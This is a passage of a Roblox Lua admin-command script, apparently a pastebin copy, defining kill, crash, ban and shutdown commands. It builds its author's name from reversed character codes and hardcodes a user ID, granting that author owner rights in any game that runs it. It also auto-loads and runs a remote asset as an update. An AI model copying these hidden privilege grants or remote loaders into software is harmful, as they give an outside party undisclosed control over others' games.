  2176. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2177. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2178. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2179. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2180. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2181. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2182. end
  2183.  
  2184. end
  2185.  
  2186. --------------------
  2187. -- Owner Commands --
  2188. --------------------
  2189.  
  2190. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2191.  
  2192. if msg:lower():sub(1,3) == "pa " then
  2193. local plrz = GetPlr(plr, msg:lower():sub(4))
  2194. for i, v in pairs(plrz) do
  2195. coroutine.resume(coroutine.create(function()
  2196. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2197. end))
  2198. end
  2199. end
  2200.  
  2201. if msg:lower():sub(1,5) == "unpa " then
  2202. for i = 1, #admins do
  2203. coroutine.resume(coroutine.create(function()
  2204. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2205. end))
  2206. end
  2207. end
  2208.  
  2209. if msg:lower():sub(1,5) == "nuke " then
  2210. local plrz = GetPlr(plr, msg:lower():sub(6))
  2211. for i, v in pairs(plrz) do
  2212. coroutine.resume(coroutine.create(function()
  2213. if v and v.Character and v.Character:findFirstChild("Torso") then
  2214. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2215. p.Anchored = true
  2216. p.CanCollide = false
  2217. p.formFactor = "Symmetric"
  2218. p.Shape = "Ball"
  2219. p.Size = Vector3.new(1,1,1)
  2220. p.BrickColor = BrickColor.new("New Yeller")
  2221. p.Transparency = .5
  2222. p.Reflectance = .2
  2223. p.TopSurface = 0
  2224. p.BottomSurface = 0
  2225. p.Touched:connect(function(hit)
  2226. if hit and hit.Parent then
  2227. local ex = Instance.new("Explosion", game.Workspace)
  2228. ex.Position = hit.Position
  2229. ex.BlastRadius = 11
  2230. ex.BlastPressure = math.huge
  2231. end
  2232. end)
  2233. local cf = v.Character.Torso.CFrame
  2234. p.CFrame = cf
  2235. for i = 1, 333 do
  2236. p.Size = p.Size + Vector3.new(3,3,3)
  2237. p.CFrame = cf
  2238. wait(1/44)
  2239. end
  2240. p:Destroy()
  2241. end
  2242. end))
  2243. end
  2244. end
  2245.  
  2246. end
  2247.  
  2248. --------------------------
  2249. -- Super Admin Commands --
  2250. --------------------------
  2251.  
  2252. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2253.  
  2254. if msg:lower() == "logs" then
  2255. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2256. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2257. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2258. end
  2259.  
  2260. if msg:lower():sub(1,9) == "loopkill " then
  2261. local chk1 = msg:lower():sub(10):find(" ")
  2262. local plrz = GetPlr(plr, msg:lower():sub(10))
  2263. local num = 9999
  2264. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2265. for i, v in pairs(plrz) do
  2266. if v and not ChkAdmin(v.Name, false) then
  2267. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2268. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2269. for i = 1, ]] .. tostring(num) .. [[ do
  2270. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2271. coroutine.resume(coroutine.create(function()
  2272. if plr and plr.Character then plr.Character:BreakJoints() end
  2273. end))
  2274. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2275. end
  2276. end
  2277. end
  2278.  
  2279. if msg:lower():sub(1,11) == "unloopkill " then
  2280. local plrz = GetPlr(plr, msg:lower():sub(12))
  2281. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2282. end
  2283.  
  2284. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2285. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2286.  
  2287. if msg:lower():sub(1,3) == "sm " then
  2288. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2289. end
  2290.  
  2291. if msg:lower():sub(1,3) == "ko " then
  2292. local chk1 = msg:lower():sub(4):find(" ") + 3
  2293. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2294. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2295. for n = 1, num do
  2296. for i, v in pairs(plrz) do
  2297. coroutine.resume(coroutine.create(function()
  2298. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2299. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2300. v.Character:BreakJoints()
  2301. wait(1/44)
  2302. v:LoadCharacter()
  2303. wait(1/44)
  2304. end
  2305. end))
  2306. end
  2307. end
  2308. end
  2309.  
  2310. if msg:lower():sub(1,6) == "crash " then
  2311. local plrz = GetPlr(plr, msg:lower():sub(7))
  2312. for i, v in pairs(plrz) do
  2313. coroutine.resume(coroutine.create(function()
  2314. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2315. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2316. end
  2317. end))
  2318. end
  2319. end
  2320.  
  2321. if msg:lower():sub(1,5) == "kick " then
  2322. local plrz = GetPlr(plr, msg:lower():sub(6))
  2323. for i, v in pairs(plrz) do
  2324. coroutine.resume(coroutine.create(function()
  2325. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2326. end))
  2327. end
  2328. end
  2329.  
  2330. if msg:lower():sub(1,6) == "admin " then
  2331. local plrz = GetPlr(plr, msg:lower():sub(7))
  2332. for i, v in pairs(plrz) do
  2333. coroutine.resume(coroutine.create(function()
  2334. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2335. end))
  2336. end
  2337. end
  2338.  
  2339. if msg:lower():sub(1,8) == "unadmin " then
  2340. for i = 1, #tempadmins do
  2341. coroutine.resume(coroutine.create(function()
  2342. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2343. end))
  2344. end
  2345. end
  2346.  
  2347. if msg:lower():sub(1,4) == "ban " then
  2348. local plrz = GetPlr(plr, msg:lower():sub(5))
  2349. for i, v in pairs(plrz) do
  2350. coroutine.resume(coroutine.create(function()
  2351. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2352. end))
  2353. end
  2354. end
  2355.  
  2356. if msg:lower():sub(1,6) == "unban " then
  2357. for i = 1, #banland do
  2358. coroutine.resume(coroutine.create(function()
  2359. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2360. end))
  2361. end
  2362. end
  2363.  
  2364. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2365.  
  2366. end
  2367. end))
  2368. end
  2369.  
  2370. function AdminControl(plr)
  2371. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2372. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2373. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2374. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2375. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2376. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2377. end)) end
  2378. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2379. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2380. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2381. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2382. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2383. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2384. end
  2385.  
  2386. if not ntab then script:Destroy() end
  2387. if not bct then script:Destroy() end
  2388.  
  2389. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2390.  
  2391. script.Name = "Kohl's Admin Commands V2"
  2392.  
  2393. if not ntab then script:Destroy() end
  2394. if not bct then script:Destroy() end
  2395. if not tcb then script:Destroy() end
  2396. game.Players.PlayerAdded:connect(AdminControl)
  2397. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2398. end
  2399.  
  2400. local mod = game:service("InsertService"):LoadAsset(100808216)
  2401. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2402. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2403. newac.Disabled = true
  2404. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2405. local old = 0
  2406. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2407. if new > old then
  2408. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2409. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2410. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2411. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2412. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2413. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2414. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2415. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2416. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2417. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2418. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2419. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2420. wait()
  2421. newac.Parent = game.Workspace
  2422. newac.Disabled = false
  2423. script.Disabled = true
  2424. script:Destroy()
  2425. else
  2426. CHEESE()
  2427. end
  2428. else
  2429. CHEESE()
  2430. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement